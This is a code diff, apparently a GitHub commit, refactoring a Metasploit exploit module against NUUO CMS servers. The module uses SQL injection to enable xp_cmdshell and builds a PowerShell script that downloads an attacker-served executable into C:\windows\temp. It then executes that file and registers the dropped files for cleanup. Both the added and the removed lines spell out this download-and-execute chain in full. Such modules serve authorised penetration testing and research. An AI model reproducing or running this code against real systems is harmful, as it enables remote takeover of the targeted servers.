@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
7
7
Rank = ExcellentRanking
8
8
9
9
include Msf ::Exploit ::EXE
10
+ include Msf ::Exploit ::FileDropper
10
11
include Msf ::Exploit ::Remote ::Nuuo
11
12
include Msf ::Exploit ::Remote ::HttpServer
12
13
@@ -44,11 +45,11 @@ def initialize(info={})
44
45
'Privileged' => false , # we run as NETWORK_SERVICE
45
46
'DisclosureDate' => 'Oct 11 2018' ,
46
47
'DefaultTarget' => 0 ) )
47
- register_options (
48
- [
49
- Opt :: RPORT ( 5180 ) ,
50
- OptInt . new ( 'SLEEP ' , [ true , 'How long to wait for the payload download ', '15' ] ) ,
51
- ] )
48
+ register_options [
49
+ Opt :: RPORT ( 5180 ) ,
50
+ OptInt . new ( 'HTTPDELAY' , [ false , 'Number of seconds the web server will wait before termination' , 10 ] ) ,
51
+ OptString . new ( 'URIPATH ' , [ true , 'The URI to use for this exploit ', "/ #{ rand_text_alpha ( 8 .. 10 ) } " ] )
52
+ ]
52
53
end
53
54
54
55
@@ -68,8 +69,13 @@ def on_request_uri(cli, request)
68
69
return
69
70
end
70
71
print_good ( 'Sending the payload to CMS...' )
71
- @exe_sent = true
72
72
send_response ( cli , @pl )
73
+
74
+ Rex . sleep ( 3 )
75
+
76
+ print_status ( 'Executing shell...' )
77
+ inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ @filename } \" " ) , true )
78
+ register_file_for_cleanup ( "c:/windows/temp/#{ @filename } " )
73
79
end
74
80
75
81
def create_hex_cmd ( cmd )
@@ -81,6 +87,26 @@ def create_hex_cmd(cmd)
81
87
hex_cmd << "; exec (@#{ var } )"
82
88
end
83
89
90
+ def primer
91
+ # we need to roll our own here instead of using the MSSQL mixins
92
+ # (tried that and it doesn't work)
93
+ service_url = "http://#{ srvhost_addr } :#{ srvport } #{ datastore [ 'URIPATH' ] } "
94
+ print_status ( "Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
95
+ @filename = "#{ rand_text_alpha_lower ( 8 ..10 ) } .exe"
96
+ ps1 = "#{ rand_text_alpha_lower ( 8 ..10 ) } .ps1"
97
+ download_pl = %{xp_cmdshell }
98
+ download_pl << %{'cd C:\\ windows\\ temp\\ && }
99
+ download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ ps1 } && }
100
+ download_pl << %{echo $url = "#{ service_url } " >> #{ ps1 } && }
101
+ download_pl << %{echo $file = "#{ @filename } " >> #{ ps1 } && }
102
+ download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ ps1 } && }
103
+ download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ ps1 } '}
104
+
105
+ print_status ( 'Injecting PowerShell payload' )
106
+ inject_sql ( "exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd ( download_pl ) )
107
+ register_file_for_cleanup ( "c:/windows/temp/#{ ps1 } " )
108
+ end
109
+
84
110
def exploit
85
111
nucs_login
86
112
@@ -89,52 +115,17 @@ def exploit
89
115
end
90
116
91
117
@pl = generate_payload_exe
92
- @exe_sent = false
93
- resource_uri = "/#{ rand_text_alpha ( 8 ..16 ) } "
94
118
95
119
#do not use SSL
96
120
if datastore [ 'SSL' ]
97
121
ssl_restore = true
98
122
datastore [ 'SSL' ] = false
99
123
end
100
124
101
- service_url = "http://#{ srvhost_addr } :#{ srvport } #{ resource_uri } "
102
- print_status ( "Starting up our web service on #{ service_url } ..." )
103
- start_service ( { 'Uri' => {
104
- 'Proc' => Proc . new { |cli , req |
105
- on_request_uri ( cli , req )
106
- } ,
107
- 'Path' => resource_uri
108
- } } )
109
-
110
- datastore [ 'SSL' ] = true if ssl_restore
111
-
112
- # we need to roll our own here instead of using the MSSQL mixins
113
- # (tried that and it doesn't work)
114
- print_status ( "Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
115
- filename = "#{ rand_text_alpha_lower ( 8 ..10 ) } .exe"
116
- download_pl = %{xp_cmdshell }
117
- download_pl << %{'cd C:\\ windows\\ temp\\ && }
118
- download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
119
- download_pl << %{echo $url = "#{ service_url } " >> wget.ps1 && }
120
- download_pl << %{echo $file = "#{ filename } " >> wget.ps1 && }
121
- download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
122
- download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
123
-
124
- print_status ( 'Injecting PowerShell payload' )
125
- inject_sql ( "exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd ( download_pl ) )
126
-
127
- counter = 0
128
- while ( not @exe_sent || counter >= datastore [ 'SLEEP' ] )
129
- Rex . sleep ( 1 )
130
- counter += 1
125
+ begin
126
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
127
+ rescue Timeout ::Error
128
+ datastore [ 'SSL' ] = true if ssl_restore
131
129
end
132
-
133
- unless @exe_sent
134
- fail_with ( Failure ::Unknown , 'Could not get CMS to download the payload' )
135
- end
136
-
137
- print_status ( 'Executing shell...' )
138
- inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ filename } \" " ) , true )
139
130
end
140
131
end
0 commit comments